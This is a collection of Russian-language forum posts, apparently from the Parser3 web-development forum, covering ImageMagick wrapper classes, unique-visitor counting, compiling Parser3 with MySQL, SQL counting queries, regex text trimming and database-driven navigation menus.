Ошибка именно при вызове перловского файла из класса.\
\
Тут упоминалось, что можно вызывать Image:Magick без использования Perl, мб есть примерчик ?\
Либо мб еще неправильности есть ?"
"31946","Вполне приемлимый и рабочий способ. Написать класс-обвязку на парсере совсем не сложно."
"31947","Вырезал кусок своего класса:\
[code]\
# Класс-обвязка для консольного ImageMagick\
@CLASS\
cImageMagick\
\
@auto[]\
## Статический конструктор\
  $imPath[]\
  $inputImagesDir[]\
  $outputImagesDir[]\
\
  $convertScript[${imPath}convert]\
  $identifyScript[${imPath}identify]\
  $compositeScript[${imPath}composite]\
\
@create[aParams]\
## Создает объект\
## Путь к скриптам задается от корня сайта\
## Путь к картинкам задается от местоположения скриптов или от корня диска\
## В качестве параметра передается хэш\
## $.imPath - путь к скриптам ImageMagick  \
## $.inputDir, $.outputDir - пути к картинкам. Если не задан outputDir, то считаем, что пишем в inputDir\
  $imPath[$aParams.imPath]\
  $inputImagesDir[$aParams.inputDir]\
  ^if(def $aParams.outputDir){\
    $outputImagesDir[$aParams.outputDir]\
  }{\
    $outputImagesDir[$aParams.inputDir]\
  }\
\
# Названия скриптов ImageMagick  \
  $convertScript[${imPath}convert]\
  $identifyScript[${imPath}identify]\
  $compositeScript[${imPath}composite]\
\
@getImageInfo[aInputImg][lScript;lRet]\
# Возвращает хэш с параметрами картинки\
# $.name $.format $.width $.height $.colors $.depth\
# $.identify - определен или не определен тип картинки\
# Рекомендуется использовать для определения возможности \
# работы с данным типом изображений.\
^if(def $aInputImg){\
  $lScript[^file::exec[$identifyScript;;-format;%f %m %wx%h %k %q %b;${inputImagesDir}^file:basename[$aInputImg]]]\
  ^if($lScript.status > 0){\
    $result[$.isIdentify(0)]\
  }{\
#                               1name   2format 3wid  4heig   5colors 6depth  7size\
     $lRet[^lScript.text.match[^(\\S+)\\s+(\\S+)\\s+(\\d+)x(\\d+)\\s+(\\d+)\\s+(\\S+)\\s+(\\S+)]]\
     ^if($lRet){\
       $result[\
         $.isIdentify(1)\
         $.name[^file:basename[$lRet.1]]\
         $.format[$lRet.2]\
         $.width($lRet.3)\
         $.height($lRet.4)\
         $.colors[$lRet.5]\
         $.depth[$lRet.6]\
         $.size[$lRet.7]\
       ]\
     }{\
       $result[$.isIdentify(0)]\
     }\
   }  \
}{\
  ^throw[im.error;ImageMagick.Identify.Exec;Missing image file name.]    \
}\
  \
@makePreview[aInputImg;aOptions][lScript;lPrefix;lOutputImg]\
# Делает превьюшку для картинки\
# В качестве параметров принимает имя файла и хеш с параметрами\
# $.width, $.height - размер превьюшки [должен быть определен хотябы один параметр]\
# $.prefix - префикс для файла с превьюшкой. Если не определен, то используется \"pr_\"\
# Возвращает признак удачности выполнения:\
#   ^if(^img.makePreview[test.tif]){сделали}{не сделали}\
# Всегда ковертирует картинку в RGB и убирает все embedded profiles. Выходной формат - JPEG.\
^if(def $aInputImg){\
  ^if(def $aOptions.width || def $aOptions.height){\
    ^if(def $aOptions.prefix){$lPrefix[$aOptions.prefix]}{$lPrefix[pr_]}\
    $lOutputImg[${lPrefix}^file:justname[$aInputImg].jpg]\
    $lScript[^file::exec[$convertScript;;${inputImagesDir}^file:basename[$aInputImg];-resize;${aOptions.width}x${aOptions.height};-colorspace;RGB;+profile;\"*\";${outputImagesDir}$lOutputImg]]\
    ^if($lScript.status > 0){\
      ^throw[exec.error;ImageMagick.Convert.Exec;$lScript.stderr]    \
    }\
  }{\
    ^throw[im.error;ImageMagick.Convert;Size not define.]    \
   }\
}{\
  ^throw[im.error;ImageMagick.Convert.Exec;Missing image file name.]    \
}\
[/code]"
"31948","Не могу понять вот что,\
увидел пример на неком сайте,\
да и наверно везде так.\
Как определять кол-во посетителей(не хиты),\
т.е. если [b]человек один раз\
зашел на сайт - счетчик прибавился,\
при последующих посещениях счетчик\
никак не реагирует..[/b]\
\
Ведь [b]IP[/b] при каждом подключении\
разный, поэтому если не прибавлять\
счетчик, если повторный [b]IP[/b],\
то можно ненамеренно\
не посчитать другого человека,\
который получит при подключении\
тот же (освободившийся) [b]IP[/b].\
\
А если по [b]COOKIE[/b] опеделять\
\"экскл.\" посетителей, то тоже\
не на 100%, т.к. они раб. или не раб.\
Да и накрутить счетчик лего можно, если\
он по [b]cookie[/b] и/или [b]ip[/b]\
определяет хиты или посетителей...\
\
Все тот же вопрос:\
так как же определить этих \"эксклюзивных\
посетителей\" и избежать накрутки\
счетчика...\
\
По форуму долго искал,\
но не нашел то, что нужно."
"31951","Тогда может быть объясните -\
на сайте есть счетчик посетителей.\
Захожу я на него просто или\
с отключенными куками (предв-но\
записанные удаляю) - счетчик\
не реагирует.\
При пяти подключениях у меня\
каждый раз разный ip (последняя\
цифра).\
Тогда как же счетчик определяет,\
что я это я и не изменяется?\
\
Нужно также сделать, но незнаю как..."
"31952","http://www.parser.ru/forum/?id=21714 - необходима именно неограниченная структура. А не нахожу алгоритма обхода всех вложенных. Юзаю класс TNavigation, поэтому именно для такой структуры есть решения?"
"31955","Ищем програмиста на parser\
------\
что необходимо\
1) Знать не только Parser, а еще минимум php ...\
2) Показать примеры работ.\
3) Постучаться сюда 109146847 или написать сюда pershin@25-kadr.ru или позвонить 200-03-31 спросить Олега.\
4) проекты над которыми надо работать сразу www.25-kadr.ru www.kupilprodal.ru \
5) Подоейдет работа удаленная.\
6) Система оплаты: а) сдельная б) з/п + %"
"31956","Как организовать рекурсию?\
Мне нужны тока папки в дереве - разделы. Код - практически такой же, как в указанном треде, то есть никуда не годится. Как менюшить указанные папки в _section.cfg (TNavigation.p) бесконечное количество раз?\
\
Думаю, принцип Tnavigation известен"
"31957","Попавшийся пример –\
[url=\"http://zhurnal.lib.ru/a/aalin_m_p/\"]http://zhurnal.lib.ru/a/aalin_m_p/[/url]\
\
P.S. Посетителей: 114"
"31958","на всякий случай сообщаю, как сделано у меня и работает:\
- каталог site/cgi-bin - там весь парсер\
- атрибуты этой папки - 755\
- атрибуты parser3.cgi - 700\
- атрибуты auto.p и моих классов - 644 (такие же атрибуты ставятся и на прочие файлы в этом каталоге и подкаталогах)\
\
указанные атрибуты не совпадают с рекомендованными на фатале, однако при других вариантах не пашет! кстати, лог парсера тут же, он читается на раз!!!"
"31959","вы мой ответ там прочитали?"
"31961","пробовал компилировать несколько раз, и как-то получилось создать правильный бинарник на FreeBSD 4.8 (уж не знаю как), который начал работать с mysql. \
\
В данный момент, использую следующий скрипт, который компилирует непригодные для использования с MySQL бинарники на FreeBSD 5.2.1:\
\
[code]\
#!/bin/sh\
PARSER_VERSION=\"release_3_1_3\"\
\
\
PARSER_HOMEDIR=\"$HOME\"\
PARSER_INSTALLDIR=\"$HOME/cgi-bin/parser3-`echo $PARSER_VERSION | sed 's/release_//g' | sed 's/_/./g'`\"\
\
\
PARSER_COMPILEDIR=\"$PARSER_HOMEDIR/cvs\"\
PARSER_COMPILEDIR_VER=\"$PARSER_COMPILEDIR/$PARSER_VERSION\"\
\
mkdir $PARSER_COMPILEDIR/\
mkdir $PARSER_COMPILEDIR_VER/\
mkdir $PARSER_INSTALLDIR/\
\
cd $PARSER_COMPILEDIR_VER/\
cvs -z 3 -d :pserver:anonymous@cvs.parser.ru:/parser3project login\
cvs -z 3 -d :pserver:anonymous@cvs.parser.ru:/parser3project co -r $PARSER_VERSION parser3 sql/mysql\
\
cd parser3/\
./configure --prefix=$PARSER_INSTALLDIR --disable-safe-mode --with-shared-gc=/usr/local/lib\
#find ./ -exec touch {} \\;\
gmake\
gmake install\
cd ..\
\
cd sql/mysql/\
./configure --prefix=$PARSER_INSTALLDIR\
#find ./ -exec touch {} \\;\
gmake\
gmake install\
cd ..\
\
cd $PARSER_INSTALLDIR/bin/\
chmod u+s parser3\
[/code]\
\
После этой установки, достаточно заменить файлы bin/parser3 и lib/libparser3mysql.so на ранее скомпилированные, как всё начинает работать. \
\
PAF, очевидно, что это какая-то проблема при сборке, а не проблема конфигурации auto.p."
"31962","Не знаю, как он считает, но я для него не посетитель. Как я не изгалялся, но увеличить 114 до 115 так и не смог."
"31969","Почему бы не сделать раздел форума по улучшению кода. Человек показывает кусок своего [b]РАБОТАЮЩЕГО[/b] кода(с комментариями) и предлагает улучшить(если такое возможно)."
"31970","почему мне кажется делать раздел не нужно: многих ломает читать много форумов (меня например) :)"
"31972","Выводим список меню и их составляющие:\
[code]@list_menu[]\
#Загружем файл рецептов\
$recept_list[^table::create{id	name	sostav_id\
1	Питательный коктейль \"Гринька\"	1,3,2\
2	Суп картофельный	5,2}]\
#Загружем файл компонентов\
$comp_list[^table::create{id	name\
1	куриное яйцо\
2	кубик куриного бульона\
3	майонез\
4	сметана\
5	картофель}][/code]"
"31973","[code]#Делаем хеш на таблицу компонентов для связи с recept_list.sostav_id\
$comp_hash[^comp_list.hash[id]]\
#Перебираем всю таблицу рецептов\
^recept_list.menu{\
#Обрабатываем сплитом sostav_id получая из него таблицу\
 $str[$recept_list.sostav_id]\
 $str_spl[^str.split[,]] \
 <b>$recept_list.name</b><br>[/code]"
"31974","[code] Состав:\
#Выбираем из таблицы компонетов наименования которые нашли по id\
 ^str_spl.menu{\
  $comp_name[$comp_hash.[$str_spl.piece].name]\
#Определяем когда вывести точку\
  ^if(^str_spl.line[]==^str_spl.count[]){\
   ${comp_name}.\
  }{\
   $comp_name,\
  }\
 }\
 <br>\
}[/code]"
"31976","не понятно, на фига разбивать на несколько сообщений...\
\
P.S. ограничение стоит... 10 МБ..."
"31977","Счетчик может быть установлен на тип браузера, код процессора, по всем что может выдать твоя машина. Как env :)"
"31978","По дате смотри\
Создание таблиц,хэш,состав"
"31981","Сколько не читал доку, сколько не думал, сколько не пробовал... Не понимаю ничего.\
\
Мне нужно выдергивать из текста только первое предложение... Казалось бы проще некуда, но ступарюсь на инициалах, если они написаны через пробел, да еще и без &nbsp; — тогда выдает странные результаты, например:\
\
Код:\
[code]\
^news_output.match[(.+)\\b\\. (.+)][]{$match.1&hellip^; (<a href=\"/news/\">подробнее</a>)}\
[/code]\
\
Исходная строка:\
[i]Предложение номер раз. И. Н. Ициалы.[/i]\
\
Результат:\
[i]Предложение номер раз. И. Н.[/i]\
\
Вопрос: куда делись \"Ициалы.\"? И почему отрезал не от первой строчки? Подскажите пожалуйста."
"31982","Как-нибудь можно узнать количество строк в таблице MySQL, если не прибегать к извращению вроде:\
\
[code]\
$table[^table::sql{SELECT id FROM table}]\
^table.count[]\
[/code]\
\
А допустим через ^string:sql{}"
"31985","Options -> Settings... -> File Settings -> Recognised file extensions | Web documents\
\
в список расширений добавляем [b];p[/b], всё работает..."
"31986","Данное выражение делает именно то, что хочется - отрезает от начала и до точки.\
Простого и, в тоже время универсального, решения тут быть и не может.\
Например инициалы будут не Л. Н. Толстой, а Вc. Э. Мейерхольд или, что еще хуже Ж-Б. Мольер... Всего и не угадаешь.\
\
Можно, конечно, принять, что инициалы могут быть только однобуквенные, тогда несколько проще, но всё равно не сильно легче ;-)\
\
Опять же, в конце предложения может стоять \"!\" или \"?\"\
\
Думается, самым простым (в случае однобуквенных инициалов) будет предварительная замена с запоминанием в переменные\
[АБВГ......ЭЮЯ]\\.\\s*[АБВГ......ЭЮЯ]\\.\\s*[^\\s\\.!\\?]+\
на что-то типа %%000000NNN%% (где NNN - номер переменной);\
Потом отлов предложения;\
Потом обратная замена из переменной...\
\
Как-то так..."
"31987","Есть сайт с разделом новостей, есть админ часть, с помощью которой администратор сайта может добавлять, редактировать и удалять новости, у каждой [url=\"http://www.kvpu.org.ua/ru/press/newsview.php?id=22\"]новости[/url] могут быть фотографии в формате jpg.\
\
[b]Вопрос:[/b] Как лучше с точки зрения производительности поступить с фотографиями?\
\
[i]Вариант 1:[/i]\
Сохранять в базу при добавлении новости размеры фотки (width=… height=…), чтобы при выводе новости брать из базы имя соотв. фотки, ширину, высоту и формировать т.о. тэг <img>. \
\
[i]Вариант 2:[/i]\
Не сохранять в базу ширину и высоту фотки при добавлении через админ интерфейс, а пользоваться при выводе новости конструкцией $photo[^image::measure[myphoto.jpg]] \
^photo.html[]\
\
Сами фотки хранятся как файлы в соотв. каталоге с фотографиями.\
\
Посоветуйте плиз как быть, пробовал первый вариант и второй. Какой лучше по производительности не знаю. Это нормально, если каждый раз при выводе новостей с фотками, Парсер будет сам определять их ширину, высоту и формировать тэг <img />?\
\
Правда пока что сайт работает на php  :)  и используется первый вариант."
"31988","1) Прикинуть с точки зрения банальной эрудиции и пародоксальных илюзий: \
Если мы берём размеры изображения есть дополнительная дисковая операция, а если мы берём из базы и дополнительного запроса не требуется и если хранится в одной таблице(строке) то дополнительных телодвижений практически нет.\
\
2) Наиболе точен и даёт точные сведения о преимуществе того или иного метода, подробности в документации http://www.parser.ru/docs/lang/statusrusage.htm"
"31989","Есть: \
Две таблицы, у обеих есть поле name. \
Первая таблица содержит общее описание предмета, вторая таблица содержит вариации предмета. \
\
Нужно:\
Сделать один запрос, и распихать результат в xhtml таблицу: нужно знать, сколько у каждого name вариаций, \
чтобы растянуть все колонки первой таблицы (используя td colspan), дабы не выводить по несколько раз одно и то же.\
\
Вопрос прост -- как всё это эффективно сделать одним запросом? (Или может быть два запроса будут кстати?)\
Пробовал использовать COUNT(name), но mysql говорит, что для этого нужно делать group by. \
\
В данный момент SQL-запрос имеет подобный вид: \
\
[code]\
select $thingsToSelect\
from table1, table2\
where table1.name = table2.name\
[/code]"
"31990","Я выбирал все значения, а затем подсчитывал повторения и во временной таблице (не SQL) сохранял name -- count. Правда, у меня не очень большая база."
"31993","Еще нужно не забыть про дробные числа 4.53 и IP адреса 127.0.0.1"
"31994","Мне лично лениво хранить данные в базе, поэтому я все делаю на лету. Тем более, если это новость.\
Новостные страницы я как правило кеширую, поэтому абсолютно сиренево откуда эти данные пришли."
"31995","Проснулся и на трезвую голову решил, что человеку, который будет добавлять новости может понадобиться выводить на первой странице не одно предложение, а допустим два, но коротких, или еще что-нибудь в этом роде. Ну пусть он тогда сам в том, месте, где должен быть обрыв ставит допустим [b][br][/b] — это и ему удобнее будет и мне проще.\
\
Так вот получается:\
[code]\
^news.body.match[(.+?)(^[br^])(.+)][]{${match.1}&hellip^; (<a href=\"/news/#news_id=$news.id\">подробнее</a>)}\
[/code]\
\
Только почему он в итоге обрезает начиная не с [b][[/b], а с [b]b[/b], то есть первая квадратная скобка остается. Почему так происходит?"
"31996","разбейте на два поля ввода: анонс и тело, и не забивайте себе голову ерундой."
"31997","Тогда анонс будет часто совпадать с полным текстом. Хотя, если новости будут сильно большые, тогда даже производительней будет разбить. Я подумаю над этим. Спасибо."
"31998","Код становится проще и читабельнее,\
а работает всё равно быстрее, чем если самому подсчитывать.\
\
Ведь SQL сервер при group by по полю с ключом подсчёт count делает только на основе индекса, даже не обращаясь к самой таблице, а индексы специально оптимизированы.\
\
Сделайте один запрос с count+group by, вторым достаньте сами данные(без group by)."
"32004","Поддерживает ли парсер числа в формате -3,402823466E+38 ? (в факе и в документации об этом ничего не сказано :( )"
"32005","Есть exe-шники от ImageMagick, которые запускаются из парсера (спасибо Sumo). Хочу положить их вне веб-пространства, \
попробовал просто в /../exec положить и указать этот путь,\
мне сказали, что нет у меня прав.\
\
Подкажите, плз, как правильно ?"
"32006","для выбраного механизма хранения данных код нормальный. поправить можно разве что мелочи:\
- описать локальные переменные\
- убрать ненужные промежуточные переменные:\
[code]\
$str[$recept_list.sostav_id]\
$str_spl[^str.split[,]] \
->\
$str_spl[^recept_list.sostav_id.split[,]] \
[/code]\
и\
[code]\
Состав:\
 ^str_spl.menu{\
  $comp_name[$comp_hash.[$str_spl.piece].name]\
#Определяем когда вывести точку\
  ^if(^str_spl.line[]==^str_spl.count[]){\
   ${comp_name}.\
  }{\
   $comp_name,\
  }\
->\
 Состав: ^str_spl.menu{$comp_hash.[$str_spl.piece].name}[, ].\
[/code]\
- можно добавить периодический (например через каждые 100 итераций) ^memory:compact[], т.к. кучка split в menu отжирает память.\
\
другое дело что хранить таким образом связи не есть хорошо. при переходе от текстовых файлов к БД у вас останется это наследие, и вы так-же будете вынуждены делать split в menu, что плохо."
"32007","...что вывод состава можно урезать до такого\
[code]Состав:^str_spl.menu{$comp_hash.[$str_spl.piece].name}[, ].[/code]\
Где про это сказано? А?-)\
Насчет БД, можно ли сделать универсальный код что бы подходил и для \"табов\" и для БД?"
"32008","спасибо, в доку добавим.\
\
замечание: десятичный разделитель всегда точка."
"32009","правильно=сообщить что именно сказали, сделав copy/paste сообщения сюда.\
\
то же самое стоит сделать с куском кода, в котором пытаетесь file::exec делать."
"32011","Переделанный код класса из примера:\
images.p\
[code]\
@resize[params][$script_path]\
^if(def $params && $params is \"hash\"){\
	^if(!def $params.destination_path){$params.destination_path[$params.source_path]}\
	^if(!def $params.x_size){$params.x_size(100)}\
	^if(def $params.image_name){\
		$f[^file::exec[$params.script_path/convert;;$params.source_path/$params.image_name;-resize;$params.x_size;-colorspace;RGB;+profile;\"*\";$params.destination_path/$params.image_name]]\
		^if($f.status > 0){\
			^throw[exec.error;ImageMagick.Convert.Exec;$f.stderr]    \
		}\
		$result(0)\
	}{\
		$result(1)\
	}\
}{\
	$result(2)\
}\
[/code]\
\
вызов метода из .html:\
[code]\
<form method=\"POST\" action=\"$request:uri\" enctype=\"multipart/form-data\">\
<br />\
Картинка: <input type=\"file\" name=\"pict\" size=\"50\" /> \
<br /><br />\
Ширина картинки: <input type=\"text\" name=\"size\" value=\"^if(def $form:size){$form:size}{200}\" size=\"5\" maxlength=\"10\">\
<input type=\"submit\" value=\"создать\" />\
</form>\
\
$source_path[../img/rest]\
$destination_path[../img/rest/small]\
\
^if(def $form:pict && $form:pict is \"file\"){\
	$x_size(^form:size.int(100))\
	$extension[^file:justext[$form:pict.name]]\
	$image_name[1.^extension.lower[]]\
	^if(!^images:save[$form:pict;$source_path;$image_name]){\
		^images:resize[\
			$.script_path[[b]/../exec[/b]]\
			$.source_path[$source_path]\
			$.destination_path[$destination_path]\
			$.image_name[$image_name]\
			$.x_size[$x_size]\
		]\
		$response:refresh[ $.value[0] $.url[$request:uri] ]\
	}{\
		Файл не сохранен&hellip^;\
	}\
}{                                           \
	Заполните все поля формы&hellip^;\
}    \
[/code]\
\
файл convert.exe лежит в:\
/www/../exec/\
\
web-сервер на Windows Server 2003 + Apache"
"32012","Утром сегодня сел наконец и переделал класс TNavigation под себя.\
Возник лишь 1 вопрос: как в дереве ссылки верно собирать из кусков? Я пробовал крутить по-всякому, но решения не нашел. Прошу помочь с последней траблой.\
\
Таблица в БД:\
[code]\
id pid uri    title\
1  0   about/ О компании\
2  1   terms/ Условия использования материалов\
3  1   policy/Политика конфиденциальности\
[/code]\
Вот код всего класса. $MAIN:ENGINE.ROOT[/]\
[code]\
##############################\
# 16:33 13/08/2004 sly\
# Основано на TNavigation от Sumo\
##############################\
\
@CLASS\
TNavigationDB\
\
##############################\
# Запускаем\
@Init[]\
$sitename[$env:SERVER_NAME]\
$root[^GetSectionsByParent[0]]	^rem{ *** Корневые *** }\
$roll[^Roll[]]\
$tempuri[]\
\
##############################\
# Сдвиг для urisplit. Поэтому система будет работать не только в корне сайта\
@Roll[]\
$urisplit[^MAIN:ENGINE.ROOT.lsplit[/]]\
$result[^urisplit.count[]]\
\
##############################\
# Счетчик вложенных секций у указанного родителя\
@SectionsCount[pid][tempsection;count]\
# Вычисляем количество записей\
$count(0)\
$tempsection[^GetSectionsByParent[$pid]]\
^tempsection.menu{\
	^if($tempsection.is_published){$count($count+1)}\
}\
$result[$count]\
\
##############################\
# Возвращает таблицу секций-детей. Возможен лимит\
@GetSectionsByParent[pid;limit]\
$result[^table::sql{\
		SELECT\
			id,\
			pid,\
			uri,\
			title,\
			is_published,\
			is_admin\
		FROM\
			sections\
		WHERE\
			^if(def $pid){pid = ^pid.int(0) AND}\
			is_published = 1\
}[^if(^limit.int(0)){$.limit(^limit.int(0))}]]\
   \
##############################\
# \"Хлебные крошки\"\
@BreadCrops[]\
# Роемся в подразделах, чтобы выцепить текущий. После этого кидаем крошки\
# Инициализируем secondnav и записываем в него главную страницу\
$self.secondnav[^table::create{uri	title}]\
^self.secondnav.append{$MAIN:ENGINE.ROOT	$sitename}\
# Разбираем uri\
$uri[$request:uri ]\
$urisplit[^uri.lsplit[/]]\
# Проходим по urisplit\
^urisplit.menu{\
	^if((^urisplit.line[] > $roll) && (^urisplit.line[] < $urisplit)){\
		^if(^urisplit.line[] == 1+$roll){\
			^if(^root.locate[uri;$urisplit.piece/]){\
				$currentid[$root.id]\
				^secondnav.append{^if(^urisplit.line[] != ($urisplit - 1)){${MAIN:ENGINE.ROOT}$root.uri}	^taint[as-is][$root.title]}\
			}         \
			$currenturi[$root.uri]\
		}{			\
			$tempsection[^GetSectionsByParent[$currentid]]\
			^if(^tempsection.locate[uri;$urisplit.piece/]){\
				$currentid[$tempsection.id]\
				^secondnav.append{^if(^urisplit.line[] != ($urisplit - 1)){${MAIN:ENGINE.ROOT}${currenturi}$tempsection.uri}	^taint[as-is][$tempsection.title]}\
			}\
			$currenturi[${currenturi}$urisplit.piece/]\
		}\
	}\
}\
^secondnav.menu{\
	^if(def $secondnav.uri){\
		<a href=\"$secondnav.uri\" class=secondnav>^taint[as-is][$secondnav.title]</a>\
	}{\
		<b>^taint[as-is][$secondnav.title]</b>\
	}\
}[&nbsp^;>&nbsp^;]\
\
##############################\
# Корневая навигация. Вынесено для удобства (обычно на всех страницах присутствует)\
@ShowRoot[]\
^root.menu{\
	^if($root.is_published){\
		^if($root.uri eq $request:uri){\
			<a href=\"${MAIN:ENGINE.ROOT}$root.uri\"><b>^taint[as-is][$root.title]</b></a>\
		}{\
			<a href=\"${MAIN:ENGINE.ROOT}$root.uri\">^taint[as-is][$root.title]</a>\
		}\
	}  \
}\
\
##############################\
# Подразделы\
@ShowSecondNav[][tempsection]\
^if($request:uri ne $MAIN:ENGINE.ROOT){\
# Разбираем uri\
$uri[$request:uri ]\
$urisplit[^uri.lsplit[/]]\
# Проходим по urisplit, чтобы вычислить id текущей секции\
^urisplit.menu{\
	^if((^urisplit.line[] > $roll) && (^urisplit.line[] < $urisplit)){\
		^if(^urisplit.line[] == 1+$roll){\
			^if(^root.locate[uri;$urisplit.piece/]){\
				$currentid[$root.id]\
			}         \
			$currenturi[$root.uri]\
		}{\
			$tempsection[^GetSectionsByParent[$currentid]]\
			^if(^tempsection.locate[uri;$urisplit.piece/]){\
					$currentid[$tempsection.id]\
			}\
			$currenturi[${currenturi}$urisplit.piece/]\
		}\
	}\
}\
$tempsection[^GetSectionsByParent[$currentid]]\
^tempsection.menu{\
	^if($tempsection.is_published){\
		^if($tempsection.uri eq $request:uri){\
			<a href=\"$tempsection.uri\"><b>^taint[as-is][$tempsection.title]</b></a>\
		}{\
			<a href=\"$tempsection.uri\">^taint[as-is][$tempsection.title]</a>\
		}\
	} 	\
}[<br>]\
}\
\
##############################\
# Дерево. Будет в XML. Рекурсия (метод вызывает сам себя)\
@ShowSectionsByParent[pid][tempsection]\
$tempsection[^GetSectionsByParent[$pid]]\
<ul>\
^tempsection.menu{\
        [b]^rem{ *** Как собирать $tempsection.uri??? *** }[/b]\
	^PrintTreeItem[$tempsection;^ShowSectionsByParent[$tempsection.id]]	\
}\
</ul>\
\
##############################\
# Пририсовать ветку\
@PrintTreeItem[tempsection;child]\
$result[<li><a href=\"${MAIN:ENGINE.ROOT}$tempsection.uri\">$tempsection.title</a>\
	^if(def $child){<ul>$child</ul>}\
</li>]\
[/code]\
\
Все остальное работает. Если где-то можно использовать хэш, чтоб не дергать БД лишний раз - ткните пальцем. Буду благодарен!"
"32013","универсальных решений для БД и файликов почти не бывает.\
если вы попытаетесь \"резинки\" написать в файликах, то не смотря не то, что это будет работать, править это в файликах будет невозможно (ненаглядно), хотя работать тоже будет быстро ввиду отсутствия split в menu:\
\
[code]\
$recept_to_comp[^table::create{recept_id	comp_id\
1	1\
1	3\
1	2\
2	5\
2	2}]\
[/code]\
\
и дальше в путь без split-ов."
"32014","Делал кто нибудь? Может поделиться?"
"32015","Потому я и задумался, когда начал прикидывать с точки зрения банальной эрудиции и пародоксальных илюзий :)\
\
Про statusrusage я знаю, надо будет попробовать, просто если фоток будет много в каталоге и посещаемость сайта будет приличной, тогда дисковые операции будут соответствующими, значит база лучше, а если фоток мало и посещаемость не ахти, тогда можно вычислять размеры фоток и \"на лету\"."
"32016","Мне тоже лениво, но ради производительности, я готов бороться с ленью :) А если посещаемость у сайта приличная и фоток скопилось много в каталоге, тогда должно быть лучше база, чем на лету?"
"32017","Действительно, теперь с двумя *правильными* запросами время, потраченное на формирования html-таблицы (sql-запросы + код на парсере для разбора) -- 1,02 секунд, против 1,37 при двух *неправильных* запросах. Время оригинального кода с одним запросом, где всё идёт подряд (td rowspan не используется) -- 0,73. \
\
Я скажу, не так уж и плохо. ;-) \
\
З.Ы. \
\
Оригинальный запрос, без использования какого-либо count (0,73 секунд):\
[code]\
select $allThingsToSelect\
from table1, table2\
where table1.name = table2.name\
[/code]\
\
Неправильные запросы (1,37 секунд): \
[code]\
select $allThingsToSelect\
from table1, table2\
where table1.name = table2.name;\
\
select count(table1.name)\
from table1, table2\
where table1.name = table2.name;\
[/code]\
\
Правильные запросы (1,02 секунд):\
\
[code]\
select $separateThingsToSelect\
from table1, table2\
where table1.name = table2.name;\
\
select $commonThingsToSelect, count(table1.name)\
from table1, table2\
where table1.name = table2.name;\
[/code]"
"32018","форматирование у меня пока что идёт на sql\
\
Как можно использовать уже определённое поле, т.е. запрос вида \
\
[code]\
SELECT $thingsToSelect, count(CONCAT($countTheseThings)) as `cnt`\
FROM table\
WHERE $expr\
GROUP BY $countTheseThings\
[/code]\
\
где в $thingsToSelect есть необходимость использовать поле `cnt`. Как это можно сделать? Опять заново писать count(concat())? Или есть вариант проще? ;-)"
"32019","pitajus' ustanovit' parser i nichego ne vihodit :(\
_test.html vidaet vot 4to\
[code]\
Unhandled Exception\
\
change_case_UTF8 error: end pointers do not match\
\
upper\
\
/usr/local/psa/home/vhosts/eurohosting.lv/subdomains/yappo/httpdocs/_test.html(262)[/code]\
.htaccess sdelal kak napisanno v manuale, parser zapisal v cgi-bin direktoriju\
\
P.S. Sorry za translit.Nahozhus' za bugrom na burzhujskom notebooke,russkih bukv net! :)"
"32020","Прочитайте про кеш. Это как раз ваш случай. Если посещаемость большая, то нет смысла каждый раз генерировать страницу, лучше сделать это один раз а потом из кеша выдавать. В таком случае количество картинок будет ни при чем, и база станет ненужна."
"32021","1. сколько записей в таблице?\
2. вы уверены что у вас созданы нужные индексы\
3. вы уверены что join-ить лучше по текстовый полям (из названия я полагаю что name - текстовое поле)"
"32022","Попробуйте почитать вот это\
http://www.parser.ru/docs/lang/?requestcharset.htm\
\
И в разделе faq описание вот этой ошибки [b]…transcodeFromUTF8 error…[/b]"
"32023","У меня в главном auto.p (т.е. /auto.p)\
определен метод,\
который создает таблицу при выборке\
из БД -\
[code]@create_authors[]\
^dbconnect{\
   	$authors[^table::sql{select\
       	id, name, email\
       	from\
       	table\
          	}]}\
[/code]\
\
Соответственно там же я его вызываю\
и вызываю в других вложенных auto.p,\
но..\
если пытаюсь вызвать его из класса\
(/classes/class.p),\
т.е. помещаю в конструктор этого\
класса:\
[code]^MAIN:create_authors[][/code]\
, а потом далее в этом классе\
вызываю \
[code]^authors.menu{код}[/code]\
то получаю ошибку:\
[b]undefined method\
menu[/b]\
\
Подскажите в чем я неправ,\
может быть так вообще нельзя\
делать?\
А если нельзя, то есть ли\
другой способ, ведь\
лучше, чем в каждом классе\
писать:\
[code]\
^dbconnect{\
   	$authors[^table::sql{select\
       	id, name, email\
       	from\
       	table\
          	}]}\
[/code]\
просто написать:\
[code]^MAIN:create_authors[][/code]\
\
[b]P.S.[/b] пробовал и так:\
 [code]@create_authors[code]\
 ^dbconnect{\
   	$authors[^table::sql{select\
       	id, name, email\
       	from\
       	table\
          	}]}\
 ^authors.menu{$code}\
 [/code]\
и вызов:\
  ^MAIN:create_authors[мой код]\
но тоже не выходит, т.к. в $code\
я должен обращаться к полям\
созданной таблицы, а сделать\
это никак не получается.."
"32025","Так вроде работает,\
но приходиться при каждом\
получении значения поля\
таблицы писать\
[b]$MAIN:authors.name[/b]\
, т.е. выходит что проще\
один раз в конструкторе \
класса прописать \
[code]^dbconnect{\
   	$authors[^table::sql{select\
       	id, name, email\
       	from\
       	table\
          	}]}[/code]\
\
и не мучиться?"
"32026","... приходится: Вы ведь создали переменную $authors в классе MAIN.\
\
Правильный вариант: создать таблицу в классе MAIN [или в любом другом удобном месте] один раз и передавать ее конструкторам класса.\
\
[code]\
@CLASS\
Simple\
\
@create[aAuthors]\
# Записываем таблицу во внутреннюю переменную класса.\
  $_authors[$aAuthors]\
\
@simple_method[]\
# И используем ее, когда хотим.\
  ^_authors.menu{\
     Делаем все, что нужно.\
  }\
[/code]"
"32029","Записал этот код в [b]@auto[][/b] -\
[code]^dbconnect{\
   	$authors[^table::sql{select\
       	id, name, email\
       	from\
       	table\
          	}]}[/code]\
а затем вызов -\
[code]$sozd_class[^class::load[$authors]]\
^sozd_class.body[][/code]\
и все работает.\
\
Хотелось и так, чтобы\
не записывать создание табл. в [b]@auto[][/b],\
а хранить в методе -\
[code]@create_authors[]\
^dbconnect{\
   	$authors[^table::sql{select\
       	id, name, email\
       	from\
       	table\
          	}]}\
[/code]\
\
и передавать классу\
таким образом -\
\
[code]$sozd_class[^class::load[^create_authors[]]]\
^sozd_class.body[][/code]\
Но, получается, что так нельзя, т.к.\
выскакивает ошибка -\
[b]string method not found[/b]\
[b]menu[/b]"
